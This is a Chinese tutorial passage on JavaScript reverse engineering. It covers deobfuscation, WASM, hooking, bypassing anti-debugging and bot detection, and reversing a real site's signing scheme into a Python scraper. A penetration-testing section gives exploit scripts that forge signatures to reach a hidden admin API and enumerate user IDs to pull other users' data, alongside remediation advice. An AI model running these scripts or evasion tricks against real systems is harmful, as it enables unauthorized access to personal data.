  • 分析复杂的代码执行流程,找到加密逻辑;
  • 监控变量的变化,找到密钥、盐值的来源;
  • 绕过简单的反调试,提升调试效率。

3. 核心知识点拆解

  • 进阶调试工具:
    1. 事件断点(Event Listener Breakpoints):Sources 面板里,给点击、提交、键盘等事件设置断点,触发事件时,代码会暂停,找到事件对应的处理函数,适合定位按钮点击后的加密逻辑;
  1. 全局搜索(Search):按Ctrl + Shift + F,打开全局搜索,搜索关键词(比如signencryptmd5aes),找到所有包含关键词的 JS 代码,快速定位加密函数;
  2. 代码格式化:点击 JS 代码左下角的{}按钮,把压缩的一行代码格式化成分行的可读代码,逆向必备;
  3. 监视(Watch):断点暂停时,在 Watch 面板里添加变量,实时查看变量的值变化,不用每次都在 Console 里输入;
  4. 调用栈(Call Stack):断点暂停时,Call Stack 面板显示代码的执行顺序,能回溯到加密函数的调用位置,找到参数的来源;
  5. 黑盒脚本(Blackbox Script):右键 JS 文件,选择「Blackbox Script」,把框架代码、第三方库代码加入黑盒,调试时不会进入这些代码,只关注业务代码;
  6. 性能面板(Performance):录制页面的代码执行过程,查看函数的执行时间、调用顺序,找到加密函数的执行时机。

4. 极简入门示例(全局搜索定位加密函数)

  1. 打开 Chrome DevTools,按Ctrl + Shift + F打开全局搜索;
  2. 输入关键词sign:(接口里的签名参数名),按回车;
  3. 搜索结果会显示所有包含sign:的 JS 代码,点击进入对应的 JS 文件;
  4. 格式化代码,在生成 sign 的代码行设置断点;
  5. 触发接口请求,断点触发,就能看到 sign 的生成逻辑。

第十三章 AST 技术与反混淆

对应大纲内容:AST 技术简介、babel/parser、babel/generator、babel/traverse、babel/types、使用 AST 还原混淆代码,核心是用 AST 技术反混淆 javascript-obfuscator 混淆的代码。

1. 核心定义与底层原理

AST(Abstract Syntax Tree,抽象语法树),是源代码的树形结构化表示,把一行行代码,拆解成一个个节点(Node),每个节点代表代码的一个语法单元(比如变量声明、函数调用、字符串)。

  • 反混淆的原理:混淆后的代码,AST 结构和原始代码的 AST 结构是一致的,只是节点的内容被加密、打乱了。我们通过解析混淆代码的 AST,遍历节点,把加密的字符串解密、把打乱的控制流还原、把乱码的变量名重命名,再把 AST 转回代码,就能得到可读的反混淆代码。

2. 实战作用与应用场景

  • 逆向场景:还原 javascript-obfuscator 混淆的代码,把乱码代码变成可读的代码,找到加密逻辑;
  • 代码分析:用 AST 分析代码的结构,找到加密函数、反调试代码;
  • 批量代码修改:用 AST 批量修改代码,比如替换变量名、删除死代码。

3. 核心知识点拆解

  • AST 处理的四步流程:
    1. 解析(Parse):用@babel/parser把 JS 代码解析成 AST 树;
  1. 遍历(Traverse):用@babel/traverse遍历 AST 树的所有节点,修改、还原节点内容;
  2. 生成(Generate):用@babel/generator把修改后的 AST 树转回 JS 代码;
  3. 类型校验(Types):用@babel/types创建、校验节点类型,确保 AST 结构正确。
  • 常见的节点类型:
    • StringLiteral:字符串字面量,比如"abc",混淆后的加密字符串都是这个类型;
  • CallExpression:函数调用表达式,比如encrypt("abc")
    • VariableDeclaration:变量声明,比如var a = 1
    • FunctionDeclaration:函数声明,比如function a() {}
    • IfStatement:if 条件语句;
  • 反混淆的核心操作:
    1. 字符串解密:遍历StringLiteral节点,调用混淆代码里的解密函数,还原原始字符串;
  1. 控制流还原:把 switch-case 扁平化的控制流,还原成顺序执行的代码;
  2. 变量名重命名:把_0x123456这种乱码变量名,改成有意义的名字;
  3. 死代码删除:删除永远不会执行的代码,简化代码结构。

4. 极简入门示例(AST 字符串还原)

// 先安装依赖:npm install @babel/parser @babel/traverse @babel/generator @babel/types// --------------------------- 1. 导入依赖 ---------------------------const parser =require('@babel/parser');// 代码转ASTconst traverse =require('@babel/traverse').default;// 遍历ASTconst generator =require('@babel/generator').default;// AST转代码const t =require('@babel/types');// 节点类型工具// --------------------------- 2. 混淆后的代码 ---------------------------const obfuscatedCode =` var _0x1a2b=['MD5','toString','my_secret_salt']; (function(_0x3c4d,_0x1a2b5){var _0x2f8e=function(_0x3d9a){while(--_0x3d9a){_0x3c4d['push'](_0x3c4d['shift']());}};_0x2f8e(++_0x1a2b5);}(_0x1a2b,0x10)); var _0x2f8e=function(_0x3c4d,_0x1a2b5){_0x3c4d=_0x3c4d-0x0;var _0x2f8e2=_0x1a2b[_0x3c4d];return _0x2f8e2;}; function generateSign(_0x4d5a,_0x5f6b){ const _0x1e3f=_0x2f8e(0x0); const _0x7c8d=_0x1e3f+_0x4d5a+_0x5f6b; return CryptoJS[_0x2f8e(0x1)](_0x7c8d)[_0x2f8e(0x2)](); } `;// --------------------------- 3. 第一步:代码转AST ---------------------------const ast = parser.parse(obfuscatedCode);// --------------------------- 4. 第二步:遍历AST,还原字符串 ---------------------------// 先拿到混淆代码里的解密数组和解密函数const stringArray =['MD5','toString','my_secret_salt'];// 还原混淆里的数组移位操作constshiftArray=(arr, offset)=>{for(let i =0; i < offset; i++){ arr.push(arr.shift());}return arr;};// 执行数组移位,和混淆代码里的逻辑一致const shiftedArray =shiftArray(stringArray,0x10+1);// 解密函数constdecryptString=(index)=>{return shiftedArray[index];};// 遍历AST,替换所有解密函数调用traverse(ast,{// 遍历所有的函数调用表达式CallExpression(path){// 判断是不是解密函数的调用if(path.node.callee.name ==='_0x2f8e'&& t.isNumericLiteral(path.node.arguments[0])){// 拿到参数的数字const index = path.node.arguments[0].value;// 调用解密函数,拿到原始字符串const originalString =decryptString(index);// 把解密函数调用节点,替换成原始字符串节点 path.replaceWith(t.stringLiteral(originalString));}}});// --------------------------- 5. 第三步:AST转回代码 ---------------------------const result =generator(ast,{compact:false});// compact: false 格式化代码 console.log("还原后的代码:\n", result.code);

第十四章 WebAssembly(WASM)逆向

对应大纲内容:WebAssembly 案例介绍、WASM 模拟执行,核心是逆向用 WASM 实现的加密逻辑。

1. 核心定义与底层原理

WebAssembly(简称 WASM)是一种低级的二进制指令格式,能在浏览器里以接近原生的速度运行,C/C++/Rust 写的代码,可以编译成 WASM,在浏览器里运行。很多网站把核心的加密逻辑,用 C/C++ 写好,编译成 WASM,放到浏览器里运行,防止被 JS 逆向分析,是目前最强的前端加密反爬手段之一。

  • 逆向原理:WASM 代码虽然是二进制的,但可以反编译成 WAT(WebAssembly Text Format,文本格式),或者反编译成 C 代码,分析里面的加密逻辑,也可以直接在浏览器里调用 WASM 里的函数,拿到加密结果(RPC 方式)。

2. 实战作用与应用场景

  • 逆向场景:网站的加密逻辑用 WASM 实现,JS 里看不到加密代码,需要逆向 WASM;
  • 爬虫开发:还原 WASM 里的加密逻辑,或者调用 WASM 函数,生成加密参数;
  • 反爬对抗:绕过 WASM 加密的反爬手段,实现自动化爬取。

3. 核心知识点拆解

  • WASM 的文件格式:
    • .wasm:二进制格式,浏览器直接运行的文件;
  • .wat:文本格式,人类可读的 WASM 代码,是二进制文件的反编译结果;
  • WASM 逆向的两种方式:
    1. 静态分析:把.wasm文件反编译成.wat格式,或者用工具反编译成 C 代码,分析加密逻辑;
  1. 动态调试:Chrome DevTools 支持 WASM 的断点调试,单步执行 WASM 代码,查看寄存器、内存的值,分析加密逻辑;
  2. RPC 调用:直接在浏览器里调用 WASM 导出的函数,传入参数,拿到加密结果,不用还原逻辑,最简单的方式。
  • 常用工具:
    • wasm2wat:把 wasm 二进制文件转成 wat 文本格式;
  • wat2wasm:把 wat 文本转成 wasm 二进制;
    • Ghidra/IDA Pro:反编译 wasm 文件成 C 代码,静态分析;
    • Chrome DevTools:WASM 动态调试。

4. 极简入门示例(WASM 函数调用)

// --------------------------- 浏览器里调用WASM加密函数 ---------------------------// 1. 加载WASM文件fetch('/encrypt.wasm').then(response=> response.arrayBuffer()).then(bytes=> WebAssembly.instantiate(bytes)).then(result=>{// 2. 拿到WASM导出的加密函数const encryptFunc = result.instance.exports.encrypt;// 3. 调用加密函数,传入参数const data =newTextEncoder().encode("我的加密内容");const encryptedPtr =encryptFunc(data.byteOffset, data.length);// 4. 从WASM内存里读取加密结果const memory =newUint8Array(result.instance.exports.memory.buffer, encryptedPtr,32);const encryptedResult = Array.from(memory).map(b=> b.toString(16).padStart(2,'0')).join(''); console.log("WASM加密结果:", encryptedResult);});

第二部分:核心技术点完整实战操作流程

完全贴合大纲的实操内容,每个技术点都按「适用场景→操作步骤→核心代码→踩坑点→案例演示」来写,步骤可 1:1 复现。


一、XHR 断点定位加密函数

1. 技术适用场景

  • 不知道加密函数名、不知道加密关键词,无法用全局搜索定位;
  • 接口请求的加密参数,需要找到生成的位置;
  • 90% 的 JS 逆向场景都适用,是定位加密函数的首选方法。

2. 详细操作步骤

  1. 打开 Chrome 浏览器,访问目标网站,按F12打开 DevTools;
  2. 切换到「Network」面板,勾选「Preserve log」和「Disable cache」,点击「XHR/fetch」筛选器;
  3. 触发目标接口请求(比如点击查询、刷新页面、点击登录),找到目标接口,复制接口 URL 里的关键词(比如rank/list,不要带域名);
  4. 切换到「Sources」面板,找到左侧的「XHR/fetch Breakpoints」,点击「Add breakpoint」;
  5. 在弹出的输入框里,粘贴刚才复制的接口关键词(比如rank/list),按回车;
  6. 再次触发接口请求,代码会自动暂停,断点触发;
  7. 查看右侧的「Call Stack」(调用栈)面板,从下往上找业务代码(跳过 jQuery、Axios 等框架代码);
  8. 点击对应的业务代码,进入 JS 文件,格式化代码,就能找到加密参数的生成函数。

3. 核心代码 / 指令

无代码,断点设置指令:在 XHR/fetch Breakpoints 里添加接口关键词,比如rank/list

4. 常见踩坑点与避坑技巧

  • 踩坑点 1:断点触发后,停在框架代码里,找不到业务代码;避坑:在 Call Stack 里,右键框架代码(比如 Axios、jQuery),选择「Blackbox Script」,把框架代码加入黑盒,下次断点会直接停在业务代码里。
  • 踩坑点 2:接口 URL 是动态变化的,关键词不对,断点不触发;避坑:用接口的通用部分,比如/api/,只要接口 URL 包含/api/,就会触发断点。
  • 踩坑点 3:断点触发了,但加密参数已经生成好了;避坑:在 Call Stack 里往上回溯,找到发起请求前的代码,加密参数就是在那里生成的。

5. 对应案例实操演示

案例:Newrank 榜单逆向

  1. 打开 Newrank 官网,进入榜单页面,按 F12 打开 DevTools;
  2. 触发榜单查询,找到接口https://www.newrank.cn/xdnphb/main/v1/rank/list,复制关键词rank/list
  3. 在 XHR/fetch Breakpoints 里添加rank/list,再次触发查询;
  4. 断点触发,在 Call Stack 里找到业务代码,进入 JS 文件;
  5. 格式化代码,找到generateSign函数,就是 sign 参数的生成函数。

二、Hook window.btoa 方法(Base64 编码定位)

1. 技术适用场景

  • 知道网站用了 Base64 编码,需要找到哪里调用了 Base64 编码;
  • 接口参数是 Base64 编码的,需要定位编码的位置;
  • 全局搜索btoa找不到调用位置,用 Hook 拦截所有调用。

2. 详细操作步骤

  1. 打开 Chrome 浏览器,访问目标网站,按F12打开 DevTools;
  2. 切换到「Console」面板;
  3. 复制 Hook 代码,粘贴到 Console 里,按回车执行;
  4. 触发网站的接口请求(比如点击查询、登录);
  5. 查看 Console 里的输出,会显示btoa被调用的输入内容、输出结果,以及调用栈;
  6. 点击调用栈里的链接,直接跳转到调用btoa的代码位置,找到加密逻辑。

3. 核心代码 / 指令

// --------------------------- Hook window.btoa 核心代码 ---------------------------// 1. 保存原始的btoa函数,避免原功能丢失const originalBtoa = window.btoa;// 2. 重写btoa函数 window.btoa=function(...args){// 3. 我们的逻辑:打印输入的参数 console.log("=== btoa被调用 ==="); console.log("输入内容:", args[0]);// 4. 打印调用栈,找到调用位置 console.log("调用栈:",newError().stack);// 5. 调用原函数,拿到返回值const result =originalBtoa.apply(this, args);// 6. 打印输出结果 console.log("编码结果:", result); console.log("=== 调用结束 ===");// 7. 返回原结果,不影响网站正常功能return result;};

4. 常见踩坑点与避坑技巧

  • 踩坑点 1:Hook 代码执行后,刷新页面就失效了;避坑:用 DevTools 的「Overrides」功能,把 Hook 代码注入到页面加载的第一个 JS 文件里,确保页面刷新后 Hook 代码依然生效。
  • 踩坑点 2:网站用了自定义的 Base64 编码,不是原生的btoa,Hook 不到;避坑:HookString.prototype.fromCharCode,或者搜索 Base64 的特征码ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,找到自定义的编码函数。
  • 踩坑点 3:Console 里的输出太多,找不到对应的调用;避坑:在 Hook 代码里加条件判断,比如只有输入内容包含关键词时,才打印日志。

5. 对应案例实操演示

案例:某网站登录接口 Base64 编码逆向

  1. 打开目标网站的登录页面,按 F12 打开 DevTools;
  2. 在 Console 里执行 Hook window.btoa 的代码;
  3. 输入用户名密码,点击登录;
  4. Console 里输出了 btoa 的调用信息,输入内容是用户名密码的拼接字符串;
  5. 点击调用栈里的链接,跳转到登录加密的代码位置,找到完整的加密逻辑。

第三部分:真实场景 JS 逆向 + Python 爬虫全流程复现

完全贴合大纲【加密参数还原与模拟、逆向爬取实战】章节,核心案例从 0 到 1 可复现,代码可直接运行。


案例:Newrank 榜单 sign 参数 MD5 逆向 + Python 爬虫复现

1. 抓包分析

  1. 打开 Newrank 官网(https://www.newrank.cn),进入榜单页面,按 F12 打开 DevTools;
  2. 切换到 Network 面板,勾选 Preserve log 和 Disable cache,点击 XHR/fetch 筛选器;
  3. 点击榜单的下一页,找到核心接口:https://www.newrank.cn/xdnphb/main/v1/wechat/rank/list
    • 核心加密参数:sign(32 位 MD5 值)、nonce(随机字符串)、timestamp(13 位时间戳)、data(Base64 编码的查询条件)。

查看请求体,发现加密参数:

{"app_key":"xhs_001","nonce":"123456","timestamp":"1761800000000","sign":"a1b2c3d4e5f67890a1b2c3d4e5f67890","data":"eyJ0eXBlIjoiYWxsIiwicGFnZSI6MX0="}

2. 加密函数定位

  1. 在 XHR/fetch Breakpoints 里添加rank/list,再次点击下一页,断点触发;
  2. 在 Call Stack 里回溯,找到业务代码,进入 JS 文件,格式化代码;
  3. 全局搜索sign:,找到generateSign函数;
  4. 断点调试,查看函数的输入参数和执行逻辑。

3. 加密逻辑还原

分析generateSign函数,得到完整逻辑:

  1. data 参数:把查询条件 JSON 字符串转成 Base64 编码;
  2. nonce 参数:6 位随机数字字符串;
  3. timestamp 参数:13 位毫秒级时间戳;
  4. sign 签名规则:
    • 固定盐值:d1b12967a38c4891a987f65432109876
  • 拼接规则:app_key + nonce + timestamp + data + 盐值
    • 加密算法:MD5 哈希,转成 32 位小写字符串。

4. JS 调试验证

在 DevTools 的 Console 里执行以下代码,验证加密逻辑:

// 模拟参数const app_key ="xhs_001";const nonce ="123456";const timestamp ="1761800000000";const data =btoa(JSON.stringify({"type":"all","page":1}));const salt ="d1b12967a38c4891a987f65432109876";// 拼接签名字符串const signStr = app_key + nonce + timestamp + data + salt;// 生成MD5签名const sign = CryptoJS.MD5(signStr).toString().toLowerCase(); console.log("生成的sign:", sign);// 和抓包的sign对比,一致则逻辑正确

5. Python 复现(完整爬虫代码)

# 安装依赖:pip install requestsimport requests # 全称:HTTP for Humans,发送HTTP请求import time # 全称:Time access and conversions,生成时间戳import hashlib # 全称:Secure hashes and message digests,MD5哈希import base64 # 全称:Base16/32/64 encodings,Base64编码import json # 全称:JSON encoder and decoder,JSON处理import random # 全称:Generate pseudo-random numbers,生成随机nonce# --------------------------- 全局配置(从逆向中提取) --------------------------- BASE_URL ="https://www.newrank.cn/xdnphb/main/v1/wechat/rank/list" APP_KEY ="xhs_001" SALT ="d1b12967a38c4891a987f65432109876" HEADERS ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36","Referer":"https://www.newrank.cn/public/rank/wechat","Content-Type":"application/json","Cookie":"你自己的Newrank Cookie"# 登录后复制}# --------------------------- 1. MD5签名生成函数 ---------------------------defgenerate_sign(app_key:str, nonce:str, timestamp:str, data:str)->str:""" 生成Newrank接口的sign签名 :param app_key: 固定app_key :param nonce: 6位随机数 :param timestamp: 13位时间戳 :param data: Base64编码的查询条件 :return: 32位小写MD5签名 """# 拼接规则:app_key + nonce + timestamp + data + 盐值 sign_str =f"{app_key}{nonce}{timestamp}{data}{SALT}"# 计算MD5哈希 md5_obj = hashlib.md5(sign_str.encode('utf-8'))# 返回32位小写字符串return md5_obj.hexdigest()# --------------------------- 2. Base64编码函数 ---------------------------defencode_data(page:int, rank_type:str="all")->str:""" 编码查询条件为Base64 :param page: 页码 :param rank_type: 榜单类型 :return: Base64编码的字符串 """# 构造查询条件JSON payload ={"type": rank_type,"page": page,"pageSize":20}# 转成JSON字符串,再Base64编码 json_str = json.dumps(payload, separators=(',',':'))return base64.b64encode(json_str.encode('utf-8')).decode('utf-8')# --------------------------- 3. 生成随机nonce ---------------------------defgenerate_nonce()->str:"""生成6位随机数字nonce"""returnstr(random.randint(100000,999999))# --------------------------- 4. 主爬取函数 ---------------------------defget_rank_list(page:int=1)->dict:""" 获取Newrank榜单数据 :param page: 页码 :return: 接口返回的JSON数据 """# 1. 生成参数 timestamp =str(int(time.time()*1000)) nonce = generate_nonce() data = encode_data(page) sign = generate_sign(APP_KEY, nonce, timestamp, data)# 2. 构造请求体 request_body ={"app_key": APP_KEY,"nonce": nonce,"timestamp": timestamp,"sign": sign,"data": data }# 3. 发送POST请求 response = requests.post( url=BASE_URL, headers=HEADERS, json=request_body, timeout=10)# 4. 返回JSON数据 response.raise_for_status()return response.json()# --------------------------- 5. 运行入口 ---------------------------if __name__ =="__main__":# 爬取第1页榜单数据 result = get_rank_list(page=1)print("榜单数据:", json.dumps(result, indent=2, ensure_ascii=False))

6. 进阶优化

  1. Cookie 自动刷新:用 Python 模拟登录,自动获取和刷新 Cookie,不用手动复制;
  2. 请求频率控制:添加time.sleep(random.uniform(1, 3)),避免被封 IP;
  3. Session 复用:用requests.Session()复用 TCP 连接,提升爬取效率;
  4. 异常处理:添加 try-except,处理网络超时、接口报错等情况。

第四部分:结合 JS 逆向技术的渗透测试利用全流程

红队实战导向,Payload 可以测试。

场景 1:前端硬编码加密密钥 + 未授权接口渗透

1. 前端代码逆向分析(漏洞点挖掘)

操作步骤:
  1. 打开目标网站登录 / 数据查询页面,按F12打开 DevTools→Sources 面板;
  2. 全局搜索(Ctrl+Shift+F)关键词:encryptAESkeysecrettoken
  3. 找到前端加密代码,发现硬编码的 AES 密钥、接口签名盐值;
  4. 继续搜索api//v1//user/等接口关键词,找到前端代码中注释 / 未调用的隐藏未授权接口
  5. 分析接口的签名生成规则,发现前端硬编码的盐值可直接用于生成合法签名。
核心逆向代码(提取自前端 JS):
// 前端硬编码的加密密钥与签名规则(逆向提取)constAES_KEY="api_encrypt_123456";// 硬编码AES密钥constSIGN_SALT="api_sign_secret_789";// 硬编码签名盐值// 前端接口签名生成函数functiongenerateApiSign(timestamp, path){return CryptoJS.MD5(SIGN_SALT+ timestamp + path).toString();}// 前端隐藏的未授权接口(逆向发现)constHIDDEN_API="https://api.example.com/admin/user/list";

2. 漏洞原理分析

  • 成因:前端开发人员将加密密钥、签名盐值硬编码在 JS 代码中,且后端接口仅校验签名有效性,未校验用户权限;同时将后台管理接口的路径写在前端 JS 中,未做访问控制。
  • 危害等级:高危(可未授权获取全量用户数据、越权操作)
  • 利用条件:可访问目标网站前端 JS 代码、接口可公网访问、后端仅做签名校验无权限校验。

3. 完整利用步骤与 Payload

步骤 1:复现签名生成逻辑(Python)
import hashlib import time import requests # 从前端JS逆向提取的硬编码盐值 SIGN_SALT ="api_sign_secret_789"# 逆向发现的隐藏未授权接口 TARGET_API ="https://api.example.com/admin/user/list"# 接口路径(用于签名) API_PATH ="/admin/user/list"defgenerate_sign(timestamp:str, path:str)->str:""" 复现前端的MD5签名生成函数 :param timestamp: 13位时间戳 :param path: 接口路径 :return: 32位MD5签名 """ sign_str =f"{SIGN_SALT}{timestamp}{path}"return hashlib.md5(sign_str.encode("utf-8")).hexdigest()if __name__ =="__main__":# 生成和前端一致的时间戳 timestamp =str(int(time.time()*1000))# 生成合法签名 sign = generate_sign(timestamp, API_PATH)# 构造请求头,完全模拟前端 headers ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","Content-Type":"application/json","X-Timestamp": timestamp,"X-Sign": sign }# 发起未授权请求,获取全量用户数据 response = requests.get(url=TARGET_API, headers=headers, timeout=10)print("未授权获取的用户数据:", response.json())
步骤 2:执行利用
  1. 运行上述 Python 代码,直接获取目标网站后台的全量用户数据;
  2. 基于硬编码的 AES 密钥,可解密前端加密的用户密码、敏感数据。

4. 实战利用案例

某企业 OA 系统前端 JS 中硬编码了接口签名盐值和后台用户列表接口路径,后端仅校验签名的合法性,未校验当前登录用户的角色权限。通过逆向提取盐值,生成合法签名,直接未授权获取了 OA 系统全量 2000 + 员工的手机号、身份证号、薪资数据。

5. 漏洞修复建议

前端修复:
  1. 禁止在前端 JS 中硬编码加密密钥、签名盐值、后台接口路径;
  2. 敏感接口的签名密钥通过登录后后端下发的临时 token 生成,禁止固定硬编码;
  3. 对前端 JS 代码进行混淆加密,隐藏接口路径和加密逻辑。
后端修复:
  1. 接口必须做双重校验:既校验签名合法性,也校验当前用户的权限,禁止仅靠签名做访问控制;
  2. 后台管理接口必须做登录态 + 角色权限双重校验,禁止公网未授权访问;
  3. 签名盐值、加密密钥存储在后端服务配置中,禁止泄露到前端。

场景 2:签名校验逻辑缺陷越权访问

1. 前端代码逆向分析

  1. 打开目标网站的个人中心页面,触发用户信息查询接口,抓包发现请求参数包含user_idsign
  2. 通过 XHR 断点回溯,找到签名生成函数,分析发现签名规则为:MD5(user_id + timestamp)未加入用户登录态、固定盐值
  3. 后端仅校验签名是否符合user_id + timestamp的规则,未校验user_id是否属于当前登录用户。

2. 漏洞原理分析

  • 成因:签名规则仅绑定用户 ID 和时间戳,未绑定用户登录态 / 固定密钥,攻击者可任意构造 user_id 生成合法签名;后端未校验 user_id 与登录用户的一致性,导致越权。
  • 危害等级:高危(可越权查看任意用户的个人信息、订单数据)
  • 利用条件:签名规则无固定密钥 / 登录态绑定、后端未校验用户权限。

3. 完整利用步骤与 Payload

import hashlib import time import requests # 逆向还原的签名生成规则defgenerate_sign(user_id:str, timestamp:str)->str: sign_str =f"{user_id}{timestamp}"return hashlib.md5(sign_str.encode("utf-8")).hexdigest()# 目标接口 TARGET_API ="https://api.example.com/user/info"# 登录后的Cookie(保留登录态,绕过基础登录校验) COOKIE ="sessionid=xxx; token=xxx"if __name__ =="__main__":# 遍历目标用户ID,批量越权for target_user_id inrange(1,100): timestamp =str(int(time.time()*1000))# 生成任意user_id的合法签名 sign = generate_sign(str(target_user_id), timestamp)# 构造请求 params ={"user_id": target_user_id,"timestamp": timestamp,"sign": sign } headers ={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0","Cookie": COOKIE } response = requests.get(url=TARGET_API, params=params, headers=headers, timeout=5)print(f"用户ID {target_user_id} 的信息:", response.json())

4. 实战利用案例

某电商网站的用户订单查询接口,签名规则仅为MD5(order_id + user_id),后端未校验订单所属的用户是否为当前登录用户。通过逆向还原签名规则,遍历订单 ID,越权获取了全量用户的订单信息、收货地址、手机号。

5. 漏洞修复建议

  • 签名规则必须加入固定后端密钥 + 用户登录态 token,规则改为:MD5(固定密钥 + user_id + timestamp + 用户token),防止攻击者构造签名;
  • 后端必须校验请求的user_id/order_id是否属于当前登录用户,禁止越权访问;
  • 签名有效期限制,timestamp 超过 5 分钟的请求直接拒绝,防止重放攻击。

第五部分:JS 逆向全场景异常问题排查与解决方案

完全贴合大纲【反调试、环境补充、混淆反混淆】章节,覆盖逆向全流程高频异常,步骤可落地,代码可直接执行。


异常 1:加密函数在 Node.js 中执行报错

1. 问题成因分析

序号核心成因触发场景
1浏览器特有 API 缺失代码调用了windowdocumentnavigatorlocation等浏览器全局对象,Node.js 中无这些对象
2this 指向错误浏览器中顶层this指向window,Node.js 中顶层this指向global,代码依赖this的浏览器指向逻辑
3反 Node.js 环境检测网站代码检测到 Node.js 环境,主动抛出错误 / 修改加密逻辑
4代码混淆后的依赖缺失混淆后的代码依赖前端 JS 的其他模块,Node.js 中未引入对应的依赖
5加密算法的浏览器实现差异代码使用了window.crypto.subtle浏览器加密 API,Node.js 中无对应实现

2. 分步排查流程

  1. 第一步:定位报错代码行
    • 把前端加密代码复制到 Node.js 中,执行后查看报错堆栈,找到报错的具体代码行;
    • 判断报错类型:xxx is not defined(对象缺失)、Cannot read properties of undefined(this 指向错误)、主动抛出的错误(环境检测)。
  2. 第二步:判断是否为浏览器环境缺失
    • 查看报错的变量名,是否为windowdocumentnavigator等浏览器特有对象;
    • 执行console.log(this),查看顶层 this 的指向,判断是否为 this 指向问题。
  3. 第三步:检测是否有反 Node.js 逻辑
    • 在代码开头加入console.log(global),查看是否有代码修改了全局对象;
    • 搜索代码中的processmoduleexports等 Node.js 特有关键词,查看是否有检测逻辑。
  4. 第四步:验证加密算法依赖
    • 查看代码是否使用了CryptoJSJSEncrypt等第三方库,Node.js 中是否安装了对应库。

3. 完整解决方案

方案 1:通用浏览器环境补全(解决 90% 的缺失问题)
// Node.js环境浏览器对象补全代码,放在加密代码最开头// 补全window对象,Node.js中用global模拟 global.window = global; global.self = global; global.this = global;// 补全navigator对象,模拟Chrome浏览器环境 global.navigator ={userAgent:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",platform:"Win32",webdriver:false,plugins:[1,2,3,4,5],// 模拟浏览器插件language:"zh-CN"};// 补全location对象 global.location ={href:"https://www.example.com",host:"www.example.com",hostname:"www.example.com",protocol:"https:",pathname:"/"};// 补全document对象 global.document ={cookie:"sessionid=xxx",referrer:"https://www.example.com",createElement:()=>{return{innerHTML:"",src:""};}};// 补全浏览器加密API global.crypto =require("crypto").webcrypto; console.log("浏览器环境补全完成");// 下方粘贴从前端复制的加密代码
方案 2:修复 this 指向问题
// 把加密代码包裹在立即执行函数中,强制this指向window(function(window){// 这里粘贴前端的加密代码functiongenerateSign(data){// 原代码中依赖this.window的逻辑,现在可正常执行return CryptoJS.MD5(data + window.location.host).toString();}// 把函数暴露到全局 window.generateSign = generateSign;})(global.window);// 调用测试 console.log(generateSign("test"));
方案 3:绕过反 Node.js 环境检测
// 代码开头执行,隐藏Node.js环境特征// 隐藏Node.js特有全局对象delete global.process;delete global.module;delete global.exports;delete global.require;// 补全浏览器环境特征,代码同上 global.window = global;// ... 其余环境补全代码

4. 实战避坑技巧

  • 优先使用JSDOM 库做完整环境补全,而非手动补全,命令:npm install jsdom,可模拟完整的 DOM 环境;
  • 加密代码优先从浏览器 Sources 面板的格式化后的代码中复制,而非从压缩的 JS 文件中复制,避免遗漏依赖;
  • 若环境补全后仍报错,优先使用RPC 远程调用(第八章内容),直接在浏览器中调用加密函数,无需补全环境。

5. 通用解决思路

所有 Node.js 执行报错的核心,都是「浏览器与 Node.js 的运行环境差异」,解决优先级:

  1. 优先用 RPC 远程调用,完全规避环境差异(零成本解决);
  2. 其次用 JSDOM 补全完整浏览器环境;
  3. 最后手动补全缺失的对象 / API,修复 this 指向。

异常 2:无限 debugger 无法调试

1. 问题成因分析

序号核心成因常见形式
1定时器循环执行 debuggersetInterval(() => {debugger}, 100),最常见的形式
2函数递归执行 debugger用 Function 构造器动态生成 debugger 代码,递归执行
3开发者工具检测触发 debugger检测到 DevTools 打开后,才执行 debugger 语句
4混淆代码中的隐式 debugger把 debugger 语句拆分成字符串拼接,用 eval 动态执行

2. 分步排查流程

  1. 第一步:判断 debugger 的触发形式
    • 打开 DevTools,查看 debugger 触发的频率,是定时器循环还是单次触发;
    • 查看 Call Stack 调用栈,找到 debugger 的执行代码位置。
  2. 第二步:判断是否有 DevTools 检测
    • 关闭 DevTools,页面正常运行;打开 DevTools,立即触发 debugger,说明存在 DevTools 检测逻辑。
  3. 第三步:定位 debugger 的生成代码
    • 查看 debugger 语句的代码,是硬编码还是动态生成的;
    • 全局搜索debugger关键词,找到所有相关代码。

3. 完整解决方案

方案 1:条件断点绕过(最简单,零代码)
  1. 找到 debugger 语句所在的代码行;
  2. 右键行号,选择「Add conditional breakpoint」;
  3. 在输入框中输入false,按回车;
  4. 刷新页面,debugger 永远不会触发,可正常调试。
方案 2:Hook 拦截动态 debugger(通用方案)
// 在DevTools的Console面板中执行,刷新页面后仍生效需用Overrides功能// 拦截Function构造器生成的debugger代码const originalFunction = Function;Function=function(...args){// 如果代码中包含debugger,返回空函数if(args.join('').includes('debugger')){return()=>{};}// 正常代码执行原逻辑returnoriginalFunction.apply(this, args);};// 拦截eval执行的debuggerconst originalEval = window.eval; window.eval=function(...args){if(args[0].includes('debugger')){return;}returnoriginalEval.apply(this, args);};
方案 3:黑盒脚本绕过(针对框架 / 第三方库的 debugger)
  1. 在 Sources 面板的 Call Stack 中,找到 debugger 所在的 JS 文件;
  2. 右键该 JS 文件,选择「Blackbox Script」(黑盒脚本);
  3. 刷新页面,调试时会跳过该文件的所有代码,debugger 不会触发。
方案 4:禁用所有断点(应急方案)
  1. 打开 DevTools→Sources 面板;
  2. 点击顶部的「Deactivate breakpoints」按钮(图标是一个带斜杠的断点),或按Ctrl + F8
  3. 所有断点(包括无限 debugger)都会被禁用,可正常查看代码。

4. 实战避坑技巧

  • 无限 debugger 的核心是「让 debugger 语句不执行 / 不暂停」,优先用条件断点false,90% 的场景都能解决;
  • 若 debugger 是通过debugger;硬编码的,无法用 Hook 拦截,直接用条件断点即可;
  • 若页面刷新后 Hook 代码失效,用 DevTools 的「Overrides」功能,把 Hook 代码注入到页面加载的第一个 JS 文件中,确保刷新后仍生效。

5. 通用解决思路

无限 debugger 的解决优先级:

  1. 条件断点false(最快,零代码);
  2. 黑盒脚本(针对第三方库的 debugger);
  3. Hook 拦截动态生成的 debugger;
  4. 禁用所有断点(应急方案)。

